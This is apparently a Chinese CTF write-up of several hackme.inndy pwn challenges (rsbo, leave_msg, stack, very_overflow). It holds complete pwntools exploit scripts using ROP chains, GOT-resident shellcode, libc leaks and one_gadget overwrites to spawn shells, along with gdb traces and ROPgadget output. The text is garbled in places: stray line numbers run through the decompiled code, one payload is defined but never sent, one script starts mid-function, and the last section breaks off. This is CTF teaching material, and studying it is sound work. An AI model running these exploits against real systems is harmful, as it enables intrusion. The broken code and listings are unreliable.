```
接着上一篇,我们继续来看看hackme.inndy中的骚pwn题
rsbo1、2
Arch: i386-32-little
 RELRO: Partial RELRO
 Stack: No canary found
     NX enabled***
     No PIE (0x8048000)
这两题的文件都一样的,只不过cat到的flag不同
主要的漏洞点出在这里:
∠|[
    int v3; // eax
3
    char buf[80]; // [esp+10h] [ebp-60h]
4
    int v6; // [esp+60h] [ebp-10h]
    int v7; // [esp+64h] [ebp-Ch]
6
    int v8; // [esp+68h] [ebp-8h]
    int i; // [esp+6Ch] [ebp-4h]
8
9
    alarm(0x1Eu);
0
    init();
1
    v8 = read_80_bytes(buf);
    for ( i = 0; i < v8; ++i
    {
      v3 = rand();
      v7 = v3 \% (i + 1);
6
      v6 = buf[i];
7
      buf[i] = buf[v3 \% (i + 1)];
8
9
      buf[v7] = v6;
0
    write(1, buf, v8);
    return 0;
```

第一种做法是,利用open, read, write函数把/home/ctf/flag中的flag打印出来

解法做法有很多,

第二种是直接getshell,得到/home/ctf/flag的flag和/home/ctf/flagxxxxxxxx的flag(分别对应rsbo1和rsbo2的flag)

用第一种方法的话

```
exp是这样的:
```

```
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level="debug"
#p = process('./rsbo1')
p = remote('hackme.inndy.tw', 7706)
elf = ELF('./rsbol')
start = 0x08048490
open_plt = elf.symbols['open']
read_plt = elf.symbols['read']
write_plt = elf.symbols['write']
log.info("open_plt -->[%s]"%hex(open_plt))
log.info("read_plt -->[%s]"%hex(read_plt))
log.info("read_plt -->[%s]"%hex(write_plt))
bss = elf.bss()
offset = 108
flag_add = 0x80487d0
payload = '\x00' * offset + p32(open\_plt) + p32(start) + p32(flag\_add) + p32(0)
p.send(payload)
payload1 = 'x00'*offset + p32(read_plt) + p32(start) + p32(0x3) + p32(bss) + p32(0x60)
payload2 = '\x00' * offset + p32(write_plt) + p32(0xdeadbeef) + p32(1) + p32(bss) + p32(0x60)
p.send(payload2)
p.interactive()
```

这里有几点需要注意的:

- 程序中flag的路径是/home/ctf/flag,但我们本地是没有的,需要自己创建或者打path修改
- 注意fd = 0时代表标准输入stdin,1时代表标准输出stdout,2时代表标准错误stderr,3~9则代表打开的文件,这里我们只打开了一个文件,那么fd就是3
- 在栈溢出填充ret addr的时候,不能用main作为返回地址,要用start才能成功
- 在填充垃圾字符串的时候,用\x00为了覆盖v8,绕过for循环,否则我们构造的rop链就会被破坏

用第二种方法一起搞定rsbo12的话,就需要直接getshell

getshell的话也有多种做法

下面这种是最简单的,直接用多次返回start,调用函数进行getshell

但这个问题就是,本地怎么打都不通,远程一打就通,醉了醉了

exp如下:

```
#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")
ip =""#hackme.inndy.tw
if ip:
  p = remote(ip,7706)
else:
  p = process("./rsbol")
elf = ELF("./rsbo1")
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
def sl(s):
  p.sendline(s)
def sd(s):
  p.send(s)
def rc(timeout=0):
```

```
if timeout == 0:
      return p.recv()
  else:
      return p.recv(timeout=timeout)
def ru(s, timeout=0):
  if timeout == 0:
      return p.recvuntil(s)
  else:
      return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
  gdb.attach(p,'')
  pause()
def getshell():
  p.interactive()
#-----
write_plt = elf.plt["write"]
write_got = elf.got["write"]
read_plt = elf.plt["read"]
read_got = elf.got["read"]
bss =elf.bss()
write_libc = libc.symbols["write"]
start = 0x08048490
binsh_libc= libc.search("/bin/sh").next()
log.info("bss--->"+hex(bss))
\verb"payload" = "\x00"*108+p32(write_plt)+p32(start)+p32(1)+p32(read_got)+p32(4)
sd(payload)
read = u32(p.recv(4))
log.info("read--->"+hex(read))
libc_base = read - libc.symbols["read"]
system_addr = libc_base +libc.symbols["system"]
sleep(0.5)
payload2 = "\x00" * 108 + p32(read) + p32(start) + p32(0) + p32(bss) + p32(9)
payload3 = "\x00" * 108 + p32(system\_addr) + p32(start) + p32(bss)
sd(payload2)
sl("/bin/sh\0")
sd(payload3)
getshell()
第二种方法就是用栈迁移和_dl_runtime_resolve的方法,有的大佬用的是这种方法,网上搜一下应该能找到的
ps:寻找常用rop gadget 的命令:
ROPgadget --binary ./rsbo1 --only "mov|xor|pop|ret|call|jmp|leave" --depth 20
Gadgets information
0x080483b0 : call 0x80484c6
0x080484f6 : call eax
0x08048533 : call edx
0x08048883 : jmp dword ptr [ebx]
0x080484f8 : leave ; ret
0x080481a8 : mov ah, 0xfe ; ret
0x08048557 : mov al, byte ptr [0xc9010804] ; ret
0x080484f3 : mov al, byte ptr [0xd0ff0804] ; leave ; ret
0x08048530 : mov al, byte ptr [0xd2ff0804] ; leave ; ret
0x08048554 : mov byte ptr [0x804a040], 1 ; leave ; ret
0x08048528 : mov dword ptr [esp + 4], eax ; mov dword ptr [esp], 0x804a040 ; call edx
0x08048578 : mov dword ptr [esp], 0x8049f10 ; call eax
0x080484ef : mov dword ptr [esp], 0x804a040 ; call eax
0x0804852c : mov dword ptr [esp], 0x804a040 ; call edx
0x0804872e : mov eax, 0 ; leave ; ret
0x080484c0 : mov ebx, dword ptr [esp] ; ret
0x0804879f : pop ebp ; ret
0x0804879c : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483cd : pop ebx ; ret
```

```
0x0804879e : pop edi ; pop ebp ; ret
0x0804879d : pop esi ; pop edi ; pop ebp ; ret
0x080481aa : ret
0x08048608 : ret 0xd089
0x0804850e : ret 0xeac1
Unique gadgets found: 24
leave_msg
Arch:
       i386-32-little
  RELRO: Partial RELRO
          Canary found****
  NX:
          NX disabled
  PIE:
          No PIE (0x8048000)
  RWX:
         Has RWX segments****
这题算是有点骚东西的题吧,首先他有几个段是有rwx权限的,首先可能想到的是会用到shellcode
主要就只分析main函数就行了:
int __cdecl main()
int v0; // eax
signed int i; // [esp+4h] [ebp-424h]
int index; // [esp+8h] [ebp-420h]
char nptr; // [esp+Ch] [ebp-41Ch]
char buf; // [esp+1Ch] [ebp-40Ch]
char v6; // [esp+24h] [ebp-404h]
unsigned int v7; // [esp+41Ch] [ebp-Ch]
v7 = __readgsdword(0x14u);
setbuf(stdout, 0);
setbuf(stdin, 0);
while (1)
  v0 = num++;
  if (v0 > 2)//
   break;
  puts("I'm busy. Please leave your message:");
  read(0, &buf, 0x400u);
  puts("Which message slot?");
  read(0, &nptr, 0x10u);
  index = atoi(&nptr);
  puts("Message too long, truncated.");
   v6 = 0;
  if ( index <= 64 && nptr != '-' )
    //atoi
    //atoi
    list[index] = strdup(&buf);
    //strdup
    //
  else
   puts("Out of bound.");
puts("Here is your messages:");
for ( i = 0; i <= 63; ++i )
  if ( list[i] )
   printf("%d: %s\n", i, list[i]);
puts("Goodbye");
return 0;
}
```

```
| Description |
```

由此可以见,0x804a000--0x804b000居然是可以执行的,这里有个骚的地方是,可以在got表写入可执行的代码,在调用某个函数的时候就可以间接执行你的shellcode,

这题的思路是这样的:

- 1、由于存在数组负数越界,就可以往got表修改内容,将got表改成一段汇编指令
- 2、由于可以绕过8字节检查,通过添加\0把shellcode写进栈里面
- 3、通过got表中的汇编指令,执行shellcode

首先构造一个输入:"a"*8+"\x00"+"b" * 8

这样可以让"a"*8被存入puts的got表中,同时绕过八个字节长度的限制,将"b"*8写入栈中

接下来就是调试,我们需要调试出"b"8到esp的距离,从而写一条这样的指令addesp,xxx;jmpesp;让程序的执行流程到"b"8的地方

在第一次输入后的, 再第二次call puts函数前下个断点: 0x0804861d

```
text:08048615 :
                        puts("I'm busy. Please leave your mes
text:08048615 ; 18:
text:08048615
text:08048615 loc 8048615:
                                                           CODE 1
                                        esp, 0Ch
text:08048615
                                sub
                                        offset s
                                                           "I'm |
text:08048618
                                push
                                call
text:0804861D
                                        puts
                         read(0, &buf, 0x400u);
text:08048622 ; 19:
                                        esp, 10h
                                add
text:08048622
text:08048625
                                sub
                                        esp, 4
text:08048628
                                        400h
                                push
                                                           nbyte
                                lea
                                        eax, [ebp+buf]
text:0804862D
text:08048633
                                push
                                        eax
                                                           buf
text:08048634
                                push
                                                           fd
                                        0
                                call
text:08048636
                                        read
                         puts("Which message slot?");
text:0804863B ; 20:
text:0804863B
                                add
                                        esp, 10h
```

```
8048480 puts@plt
     2 f753f637
                 libc start main+247
       stack 30
00:000
                                                esp, 0x10
        esp
              0xff92993c →
                                      add
01:0004
                                      dec
                                                ecx
              0xff929944 → 0xff92995c ← 0x3120 /* ' 1' */
02:0008
03:000c
04:0010
                         - 0x174
. . . . . .
06:0018
              0xff929954 - 0x44 /* 'D' */
07:001c
                         - 0x1
              0xff92995c - 0x3120 /* ' 1' */
08:0020
09:0024
                         - 0x4
                 f929964
0a:0028
                         - 0x7
                 f929968
                         - 0x1af23c
0b:002c
                        - 'aaaaaaaaa'
0c:0030
                         - 0x62626200
0e:0038
                        0f:003c
10:0040
                         - 0x62 /* 'b' */
                         <- 0x4
11:0044
                         - 0x6474e550
12:0048
13:004c
                        - 0x16508c
              0xff929994 ← 0x619c
16:0058
              0xff92999c → 0x4
18:0060
              0xff9299a4 → 0x6474e551
1a:0068
1b:006c
              0xff9299a8 - 0x0
```

这里我们就可以看到:输入的字符串离esp的偏移是0x30,如果puts的got表中的内容是add esp,0x30; jmp esp;那么这里call puts的时候就会直接执行这条语句,导致esp的位置指向输入字符串buf的位置

要指向shellcode的话就往下移动 len(jump)+1,就可以指向shellcode了

这题的主要难点应该是需要绕过平常做题的思维局限,got不一定得写地址,在特定的条件下还能写shellcode进行执行,另外就是调试的要熟练,才能找出0x30的偏移

exp:

```
return p.sendline(s)
def sd(s):
  return p.send(s)
def rc(timeout=0):
  if timeout == 0:
      return p.recv()
  else:
      return p.recv(timeout=timeout)
def ru(s, timeout=0):
  if timeout == 0:
     return p.recvuntil(s)
  else:
      return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
  return p.sendlineafter(a,s)
def sda(p,a,s):
  return p.sendafter(a,s)
def debug(addr=''):
  gdb.attach(p,'')
def getshell():
  p.interactive()
#-----
shellcode = asm(shellcraft.sh())
jump = asm("add esp,0x36;jmp esp;")
sda(p,"I'm busy. Please leave your message:\n",jump+"\x00"+shellcode)
sda(p,"Which message slot?"," -16")
getshell()
stack
Arch: i386-32-little
  RELRO: Full RELRO
           Canary found
  Stack:
        NX enabled
PIE enabled
  PIE:
这保护全开,有点少见
这是一个模拟栈的pop和push操作的程序:
主要用到的就是pop函数和push函数:
int __cdecl stack_pop(_DWORD *a1)
*a1 += &unk_1FBF + 0xFFFFE040;
 return *(&dword_1FC4[-2032] + &a1[*a1]);
int __cdecl stack_push(int *a1, int a2)
 int result; // eax
 result = *a1;
 *a1 += &(&GLOBAL_OFFSET_TABLE_)[-0xFEu] - 0xFFFFFFFF;
 a1[result + 1] = a2;
 return result;
但是反编译出来的东西有点迷,不太助于分析,直接看汇编:
.text:00000717
                           public stack_pop
.text:00000717 stack_pop
                                                   ; CODE XREF: main+10C↓p
                          proc near
.text:00000717
.text:00000717 arg_0
                            = dword ptr 8
.text:00000717
.text:00000717 ; __unwind {
```

```
.text:00000717
                             push
                                     ebp
.text:00000718
                             mov
                                     ebp, esp
.text:0000071A ; 2: *a1 += &unk_1FBF + 0xFFFFE040;
.text:0000071A
                             call
                                      _x86_get_pc_thunk_ax
.text:0000071F
                             add
                                     eax, 18A1h
.text:00000724
                             mov
                                     eax, [ebp+arg_0]
.text:00000727
                                     eax, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
                             mov
                                     edx, (unk_1FBF - 1FC0h)[eax]
.text:00000729
                             lea
.text:0000072C
                             mov
                                     eax, [ebp+arg_0]
.text:0000072F
                             mov
                                     ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax], edx
.text:00000731 ; 3: return *(&dword_1FC4[-2032] + &a1[*a1]);
.text:00000731
                             mov
                                    eax, [ebp+arg_0]
.text:00000734
                             mov
                                     edx, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000736
                             mov
                                     eax, [ebp+arg_0]
.text:00000739
                                     eax, ds:(dword_1FC4 - 1FC0h)[eax+edx*4]
                             mov
.text:0000073D
                             pop
                                     ebp
.text:0000073E
                             retn
.text:0000073E ; } // starts at 717 \,
.text:0000073E stack_pop
                             endp
______
.text:000006F0
                             public stack_push
.text:000006F0 stack_push
                                                   ; CODE XREF: main+DC√p
                             proc near
.text:000006F0
                           = dword ptr 8
.text:000006F0 arg_0
                            = dword ptr 0Ch
.text:000006F0 arg_4
.text:000006F0
.text:000006F0 ; __unwind {
.text:000006F0
                             push
                                     ebp
.text:000006F1
                             mov
                                     ebp, esp
.text:000006F3 ; 4: result = *a1;
.text:000006F3
                             call
                                     __x86_get_pc_thunk_ax
.text:000006F8
                             add
                                     eax, 18C8h
.text:000006FD
                             mov
                                     eax, [ebp+arg_0]
.text:00000700
                             mov
                                     eax, ds:(_GLOBAL_OFFSET_TABLE_ - 1FC0h)[eax]
.text:00000702 ; 5: *a1 += &(&GLOBAL_OFFSET_TABLE_)[-0xFEu] - 0xFFFFFFFF;
.text:00000702
                             lea
                                    ecx, (_GLOBAL_OFFSET_TABLE_+1 - 1FC0h)[eax]
.text:00000705
                             mov
                                     edx, [ebp+arg_0]
.text:00000708
                             mov
                                     [edx], ecx
.text:0000070A ; 6: a1[result + 1] = a2;
.text:0000070A
                                     edx, [ebp+arg_0]
.text:0000070D
                             mov
                                     ecx, [ebp+arg_4]
.text:00000710
                             mov
                                     [edx+eax*4+4], ecx
.text:00000714 ; 7: return result;
.text:00000714
.text:00000715
                                     ebp
.text:00000716
.text:00000716 ; } // starts at 6F0
.text:00000716 stack_push
                             endp
```

pop函数中:mov ds:(_GLOBAL_OFFSET_TABLE_ - 1FCOh)[eax], edx 可以发现pop函数在进行操作的时候,实际上是以edx的值为基准的

在push函数中:mov [edx+eax*4+4], ecx,同样的,push操作也是和edx有关

进行gdb调试看看到底是怎么样:

在进入pop函数前下断点.text:00000717 push ebp

```
EAX 0x0
EBX
      0x56641fc0 ← 0x1ee0
ECX
      0 \times 1
EDX
      0xf777787c (_I0_stdfile_0_lock) \leftarrow 0x0
      0xfffc764c ← 0x70 /* 'p' */
EDI
     0xf7776000 (_GL0BAL_OFFSET_TABLE_) ← 0x1b1db0
0xfffc7528 → 0xfffc76a8 ← 0x0
ESI
EBP
ESP
      0xfffc7528 → 0xfffc76a8 ← 0x0
                 - 0x8bff508d
EIP
                         eax, dword ptr [esp]
  0x56640917
                 mov
  0x5664091a
                 ret
  0x5664071f
                 add
                         eax, 0x18a1
                         eax, dword ptr [ebp + 8]
  0x56640724
                 mov
                 mov
                         eax, dword ptr [eax]
  0x56640727
► 0x56640729
                 lea
                         edx, [eax - 1] <0xf777787c>
  0x5664072c
                 mov
                         eax, dword ptr [ebp + 8]
  0x5664072f
                 mov
                         dword ptr [eax], edx
                         eax, dword ptr [ebp + 8]
edx, dword ptr [eax]
  0x56640731
                 mov
  0x56640734
                 mov
                         eax, dword ptr [ebp + 8]
  0x56640736
                 mov
                                               –[ STACK ]-
00:0000
                  0xfffc7528 → 0xfffc76a8 ← 0x0
         ebp esp
                  0xfffc752c →
01:0004

→ 0x8310c483

                  0xfffc7530 → 0xfffc7548 ← 0x0
02:0008
                   0xfffc7534 → 0xfffc764c ← 0x70 /* 'p' */
03:000c
                   0xfffc7538 →
04:0010
                                             ∢— jae
                                                        0xf77b5b3f
                  0xfffc753c →
05:0014
                                             - 0x1866c381
                                           f3 ← cmp
                  0xfffc7540 →
06:0018
                                                        al, 0x6d /* '<main program>' */
                  0xfffc7544 → 0xf77bdc1c → 0xf77bdc08 → 0xf7797000 ← jg
07:001c
                                                                                      0xf779704
                                             [ BACKTRACE ]-
► f 0 56640729
  f 1 56640850
  f 2 f75dc637
                  libc start main+247
```

可以发现,【eax-1】是代表了进行pop操作的下标-1,而下标索引值又赋值给了edx,最后edx又存到了【eax】的地方:

```
-[ REGISTERS ]·
EAX
      0xfffc7548 ← 0xffffffff
                     0x1ee0
 - E
ECX
      0x1
EDX
      0xffffffff
      0xfffc764c <- 0x70 /* 'p' */
EDI
      0xf7776000 ( GLOBAL OFFSET TABLE ) - 0x1b1db0
ESI
EBP
      0xfffc7528 → 0xfffc76a8 ← 0x0
ESP
      0xfffc7528 → 0xfffc76a8 ← 0x0
EIP
                 - 0x8b08458b
                                              ——[ DISASM ]—
                          eax, dword ptr [ebp + 8]
  0x56640724
                  mov
   0x56640727
                          eax, dword ptr [eax]
                  mov
                          edx, [eax - 1]
eax, dword ptr [ebp + 8]
   0x56640729
                  lea
   0x5664072c
                  mov
                          dword ptr [eax], edx
eax, dword ptr [ebp + 8]
  0x5664072f
                  mov
                  mov
► 0x56640731
   0x56640734
                          edx, dword ptr [eax]
                  mov
                          eax, dword ptr [ebp + 8]
   0x56640736
                  mov
  0x56640739
                          eax, dword ptr [eax + edx*4 + 4]
                  mov
   0x5664073d
                  pop
   0x5664073e
                  ret
                                                -[ STACK ]—
                   0xfffc7528 → 0xfffc76a8 ← 0x0
00:000
         ebp esp
01:0004
                   0xfffc752c →

→ 0x8310c483

                   0xfffc7530 → 0xfffc7534 →
02:0008
                                   0xfffc7548
                                               0xffffffff
                                   0xfffc764c
03:000c
                                               - 0x70 /* 'p' */
                   0xfffc7538
04:0010
                                                          0xf77b5b3f
                                                  jae
                   0xfffc753c
05:0014
                                               - 0x1866c381
                   0xfffc7540 →
                                               ← cmp
06:0018
                                                          al, 0x6d /* '<main program>' */
                   0xfffc7544 \rightarrow 0xf77bdc1c \rightarrow 0xf77bdc08 \rightarrow 0xf7797000 \leftarrow jg
                                                                                         0xf7797047
07:001c
                                               -[ BACKTRACE ]-
► f 0 56640731
   f 1 56640850
   f 2 f75dc637
                   libc start main+247
        p *0xfffc7548
```

由此可见, 0xfffc7548存着索引的值

si一步步执行

继续跟进,看看执行push函数的时候发生了什么

在进入push函数前下断点:.text:000006F0 push ebp

```
0x56640702 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
                                             ·[ REGISTERS ]—
 EAX
      0xffffffff
 EBX
      0x56641fc0 → 0x1ee0
 ECX
      0x1
 EDX
      0xf777787c ( I0 stdfile 0 lock) ← 0x0
      0xfffc764c ← 0x69 /* 'i' */
 EDI
 ESI
                 ( GLOBAL OFFSET TABLE ) ← 0x1b1db0
 EBP
      0xfffc7528 → 0xfffc76a8 ← 0x0
 ESP
      0xfffc7528 → 0xfffc76a8 ← 0x0
 EIP
                 - 0x8b01488d
                                             —[ DISASM ]—
   0x56640917
                         eax, dword ptr [esp]
                 mov
   0x5664091a
                 ret
   0x566406f8
                 add
                         eax, 0x18c8
                         eax, dword ptr [ebp + 8]
   0x566406fd
                 mov
   0x56640700
 ► 0x56640702
                 lea
                         ecx, [eax + 1]
   0x56640705
                         edx, dword ptr [ebp + 8]
                 mov
                         dword ptr [edx], ecx
   0x56640708
                 mov
   0x5664070a
                         edx, dword ptr [ebp + 8]
                 mov
                         ecx, dword ptr [ebp + 0xc]
   0x5664070d
                 mov
   0x56640710
                         dword ptr [edx + eax*4 + 4], ecx
                 mov
00:0000
                  0xfffc7528 → 0xfffc76a8 ← 0x0
         ebp esp
01:0004
                       fc752c →

→ 0x8b10c483

02:0008
                                                <del>0xff</del>ffffff
03:000c
04:0010
                                                       0xf77b5b3f
                     fffc753c 🛶
                                                0x1866c381
05:0014
                  0xfffc7540 →
                                                       al, 0x6d /* '<main program>' */
06:0018

← cmp
                  0xfffc7544 ← 0x5d /* ']' */
07:001c
                                            -[ BACKTRACE ]-
 ► f 0 56640702
   f 1 56640820
   f 2 f75dc637
                  libc start main+247
```

同样的对下标进行了+1的操作,接着ecx存储着索引,ecx为1,接着会发现,ebp+0xc的位置的值竟然被赋值给了ecx,接着ecx就被赋值到了【edx+eax*4+4】的地方去

```
REGISTERS
EAX
      0xffffffff
      0x56641fc0 -- 0x1ee0
ECX
      0x5d
      0xfffc7548 ← 0x0 dabase
0xfffc764c ← 0x69 /* 'i' */
EDI
                  ( GLOBAL OFFSET TABLE ) ← 0x1b1db0
ESI
      0xf7776000
EBP
      0xfffc7528 → 0xfffc76a8 ← 0x0
ESP
      0xfffc7528 → 0xfffc76a8 ← 0x0
EIP
                  - 0x4824c89
                                                -[ DISASM ]-
  0x56640702
                  lea
                          ecx, [eax + 1]
  0x56640705
                          edx, dword ptr [ebp + 8]
                  mov
   0x56640708
                          dword ptr [edx], ecx
                  mov
                          edx, dword ptr [ebp + 8]
   0x5664070a
                  mov
                          ecx, dword pir [ebp + 0xc]
dword ptr [edx + eax*4 + 4], ecx
   UX 2004U / UU
   0x56640710
                  mov
   0x56640715
                  pop
                          ebp
  0x56640716
                  ret
  0x56640820
                  add
                          esp, 0x10
   0x56640823
                          eax, dword ptr [ebp - 0x164]
                  mov
                                                -[ STACK ]-
00:0000
         ebp esp
                   0xfffc7528 → 0xfffc76a8 ← 0x0
01:0004
                   0xfffc752c → 0:

→ 0x8b10c483

02:0008
                   0xfffc/530 → 0xfffc/548 ← 0x
                   0xfffc7534 ← 0x5d /* ']'
03:000c
04:0010
                                                          0xf77b5b3f
                                                  0x1866c381
05:0014
                   0xfffc7540
06:0018
                                                          al, 0x6d /* '<main program>' */
                   0xfffc7544
                               - 0x5d /* ']' */
07:001c
                                               ·[ BACKTRACE ]-
► f 0 56640710
   f 1 56640820
   f 2 f75dc637
                   libc_start main+247
   dbg > p/x ($edx + $eax*4 + 4)
$2 = 0xfffc7548 •
```

而【edx+eax*4+4】的地址恰好就是0xfffc7548!也就是说pop和push函数用的下标索引的地址是同一个,那么

如果先pop一下,再push(n),再一次pop的时候,就能把下标为n的地方的内容给pop出来

改变了pop和push的索引基准,之后的每一次pop或者push,都会在n的基础上进行

接下来的利用思路就简单了,就是找到这个n,把main函数的ret地址给pop出来,泄漏一波得到libc的偏移,从而可以得到onegadget地址,接着再push(onegadget)把max怎么找到这个n的具体的值?

在main函数的结尾处的.text:00000916 retn下一个断点,来看看main将要结束时候的栈布局

```
EAX
      0 \times 0
EBX
     0x0
ECX
     0xfffc76c0 ← 0x1
EDX
     0 \times 0
EDI
     0xf7776000 (_GLOBAL_OFFSET_TABLE_) - 0x1b1db0
ESI
      0xf7776000 ( GLOBAL OFFSET TABLE ) - 0x1b1db0
EBP
                                   libc start main+247) ← add
ESP
      0xfffc76bc →
                                                                    esp, 0x10
EIP
                 - 0x24048bc3
                                               [ ISASM ]-
                                                              xf75dc637; libc start main+247>
► 0x56640916
                                          ret
   0xf75dc637 <__libc_start_main+247>
                                           add
                                                  esp, 0x10
  0xf75dc63a <__libc_start_main+250>
0xf75dc63d <__libc_start_main+253>
                                           sub
                                                  esp, 0xc
                                           push
                                                  eax
                                                  exit <0xf75f29
   0xf75dc63e < libc start main+254>
                                           call
   0xf75dc643 <__libc_start_main+259>
                                           xor
                                                  ecx, ecx
  0xf75dc645 < libc start main+261>
                                                  libc start main+50 <0xf75dc572>
                                           jmp
   0xf75dc64a < libc_start_main+266>
                                                  esi, dword ptr [esp + 8]
                                          mov
                                                  eax, dword ptr [esi + 0x3868]
   0xf75dc64e <__libc_start_main+270>
                                          mov
   0xf75dc654 < _ libc_start_main+276>
                                                  eax, 9
                                           ror
   0xf75dc657 <
                 libc start main+279>
                                                  eax, dword ptr gs:[0x18]
                                           xor
00:000 esp 0xfffc76bc → 0xf75dc637
                                                       main+247) \leftarrow add esp, 0x10
01:0004
        ecx 0xfffc76c0 ← 0x1
              0xfffc76c4 → 0xfffc7754 → 0xfffc8207 ← './stack'
02:0008
              0xfffc76c8 → 0xfffc775c → 0xfffc820f ← 0x4e5f434c ('LC N')
03:000c
04:0010
              0xfffc76cc ← 0x0
07:001c
              0xfffc76d8 → 0xf7776000 ( GLOBAL OFFSET TABLE ) ← 0x1b1db0
                                            -[ BACKTRACE ]-
f 0 56640916
   f 1 f75dc637
                  libc start main+247
Breakpoint *(0x56640000+0x916)
```

发现, main在退出的时候, 返回地址是0xfffc76bc

从而算出:

0xfffc76bc-0xfffc7548 = 0x174

0x174/4 = 0x5d

那么这个n就是0x5d,也就是93了

接下来的操作就是首先pop()一下, push(93),pop()一下泄漏出_libc_start_main+247的地址,从而得到libc基址

, 也就能求出onegadget, 这时在push(onegadget), 然后输入x退出程序就能getshell了

```
#encoding:utf-8
#!/upr/bin/env python
from pwn import *
from os import *
context.log_level = "debug"
bin_elf = "./stack"
context.binary=bin_elf
elf = ELF(bin_elf)
libc = ELF("./libc-2.23.so.i386")
#libc = elf.libc
if sys.argv[1] == "r":
  p = remote("hackme.inndy.tw",7716)
elif sys.argv[1] == "l":
  p = process(bin_elf)
#-----
def sl(s):
  return p.sendline(s)
```

```
def sd(s):
  return p.send(s)
def rc(timeout=0):
  if timeout == 0:
      return p.recv()
  else:
      return p.recv(timeout=timeout)
def ru(s, timeout=0):
  if timeout == 0:
      return p.recvuntil(s)
  else:
      return p.recvuntil(s, timeout=timeout)
def sla(p,a,s):
  return p.sendlineafter(a,s)
def sda(p,a,s):
  return p.sendafter(a,s)
def debug(addr,PIE=False):
  if PIE:
      \texttt{text\_base = int(os.popen("pmap {})| awk '{\{print $1\}}'".format(p.pid)).readlines()[1], 16)}
      \verb|gdb.attach(p,'b *{}|'.format(hex(text\_base+addr)))|
  else:
      gdb.attach(p,"b *{}".format(hex(addr)))
def getshell():
  p.interactive()
#-----
def push(num):
  ru("Cmd >>\n")
  sl("i "+str(num))
def pop():
  ru("Cmd >>\n")
  sl("p")
  ru("Pop -> ")
  val=ru('\n')[:-1]
  print val
  print "pop-->"+hex(int(val)&0xffffffff)
  return int(val)&0xffffffff
def exit():
  p.sendline('x')
#gdb.attach(p)
pause()
pop()
push('93')
libc_base=pop()-libc.symbols['__libc_start_main']-247
one = libc_base+0x5fbc5#
push(str(one- (1<<32)))</pre>
ru("Cmd >>\n")
sl("x")
getshell()
这题的重点还是在于调试,跟着汇编看流程,做这题深刻意识到了IDA不是万能的,反编译出来的汇编指令跟gdb动态调试的居然会不同orz
very_overflow
```

```
Arch:
        i386-32-little
  RELRO: Partial RELRO
         No canary found
  Stack:
  NX:
          NX enabled
          No PIE (0x8048000)
  PIE:
```

只开了个nx,看到这熟悉的菜单选择功能,还以为是一道堆的题目,但实际上不是,是一个在栈上操作一个结构体的题

```
void vuln()
NOTE buffer[128]; // [esp+1Ch] [ebp-420Ch]
int loop_switch; // [esp+421Ch] [ebp-Ch]
loop_switch = 1;
memset(buffer, 0, 0x4200u);
 while ( loop_switch )
  switch ( choose() )
  {
    case 1:
      add_note(buffer);
      break;
    case 2:
      edit_note(buffer);
      break;
    case 3:
      show_note(buffer);
      break;
    case 4:
      dump_notes(buffer);
      break;
    case 5:
      loop_switch = 0;
      break;
    default:
      puts("Invalid option!");
      break;
  }
}
}
结构体:
struct NOTE {
  struct NOTE* next;//■■■■note
  char data[128];
};
```

这个结构体在栈上面分布,由于没有限制note的数量,一开始的想法是想疯狂add,一直爆到他栈底的返回地址附近,但发现栈的大小是0x420c,这就太大了,不好操作

```
db ? ; undefined
-0000420D
                                 128 dup(?)
                            NOTE
-0000420C buffer
-0000000C loop_switch
                            dd
                            db?
                                    undefined
-00000008
                            db
                                   undefined
-00000007
                                   undefined
                            db
-00000006
                                   undefined
                            db
-00000005
                                  ; undefined
                            db
-00000004
                                  ; undefined
                            db
-00000003
                            db?
                                   undefined
-00000002
                                 ; undefined
                            db
-00000001
                                 dup(?)
                            db
+00000000
           S
                                 dup(?)
                            db 4
+00000004
+00000008
```

add ("aa") 一下,随便添加一个note, 进入gdb看看情况

通过show(0)的功能,可以看到note的next,也就可以泄漏出note结构体的存储地址

```
x/20wx 0xffe8b514-0x20
0xffe8b4f4:
                0x00000000
                                  0x00004200
                                                   0x00000000
                                                                     0x00000000
Axffe8h5A4.
                 0x00000000
                                  0x00000000
                                                   0xffe8b514
                                                                     0x000a6161
   fe8b514:
                0x00000000
                                  UX00000000
                                                   0×00000000
                                                                     0×00000000
                                  0x00000000
                                                   0x00000000
                                                                     0x00000000
                0x00000000
    e8b534 :
                 0x00000000
                                  0x00000000
                                                   0x00000000
                                                                     0×00000000
```

这里可以看到我们创建的第一个note在栈里面的情况,首先存储了next,接着就是data的内容,而根据next的计算方法:node->next = (node + strlen(node->data) + 5)

可以看到note0的next是0xffe8b514,刚刚好指向了data后面的一个字的位置

又根据程序的edit函数:

```
void __cdecl edit_note(NOTE *node)
{
  int v1; // ST04_4
  NOTE *nodea; // [esp+30h] [ebp+8h]

printf("Which note to edit: ");
  v1 = read_integer();
  nodea = find_node_by_id(node, v1);
  if ( nodea )
  {
    printf("Your new data: ");
    fgets(nodea->data, 128, stdin);
    puts("Done!");
  }
}
```

发现可以溢出修改noteO的data,从而可以修改noteO的next所指向的地方,这样一来也就可以自己伪造note了

接下来再看看, note0往下0x4200位置的地方是什么东西:

```
x/20wx 0xffe8b514-0x20
0xffe8b4f4:
                0x00000000
                                 0x00004200
                                                  0x00000000
                                                                   0x00000000
0xffe8b504:
                0x00000000
                                 0x00000000
                                                  0xffe8b514
                                                                   0x000a6161
0xffe8b514:
                0x00000000
                                 0x00000000
                                                  0x00000000
                                                                   0x00000000
0xffe8b524:
                0x00000000
                                 0x00000000
                                                  0x00000000
                                                                   0x00000000
0xffe8b534:
                0x00000000
                                 0x00000000
                                                  0x00000000
                                                                   0x00000000
     x/20wx 0xffe8b514+0x4200
0xffe8f714:
                                 0xffe8f738
                                                  0x08048957
                                                                   0x08048b2c
                0xf7703000
0xffe8f724:
                0x00000000
                                 0x00000002
                                                  0x00000000
                                                                   0xf7703000
0xffe8f734:
                0xf7703000
                                 0x00000000
                                                  0xf7569637
                                                                   0x00000001
0xffe8f744:
                                 0xffe8f7dc
                                                  0x00000000
